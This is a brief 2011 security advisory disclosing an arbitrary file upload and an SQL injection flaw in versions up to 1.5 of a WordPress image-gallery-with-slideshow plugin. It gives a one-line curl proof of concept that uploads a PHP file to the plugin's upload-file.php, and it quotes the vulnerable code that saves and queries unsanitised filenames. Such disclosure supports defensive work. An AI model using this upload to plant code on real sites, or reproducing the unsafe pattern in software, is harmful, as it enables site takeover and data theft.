wordpress image gallery with slideshow plugin <= 1.5 - Multiple Vulnerabilities

Title: Wordpress image-gallery-with-slideshow plugin &#60;= 1.5 Arbitrary file upload / SQL injection Version:1.5 Date: 30-8-2011 Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ] Software link: http://wordpress.org/extend/plugins/image-gallery-with-slideshow/ PoC: curl -F &#34;uploadfile=@mycode.php&#34; http://domain.tld/wp-content/plugins/image-gallery-with-slideshow/upload-file.php File(s):upload-file.php Code: $new_image =time().&#34;_&#34;.$_FILES[&#39;uploadfile&#39;][&#39;name&#39;]; $original_image = $_FILES[&#39;uploadfile&#39;][&#39;name&#39;]; ... $value_org = move_uploaded_file($_FILES[&#39;uploadfile&#39;][&#39;tmp_name&#39;], $file_original); $insert_query = &#34;INSERT INTO `&#34;.$table_prefix.&#34;combo_image` VALUES(&#39;&#39;,&#39;0&#39;,&#39;&#34;.$new_image.&#34;&#39;,&#39;&#34;.$original_image.&#34;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,NOW())&#34;;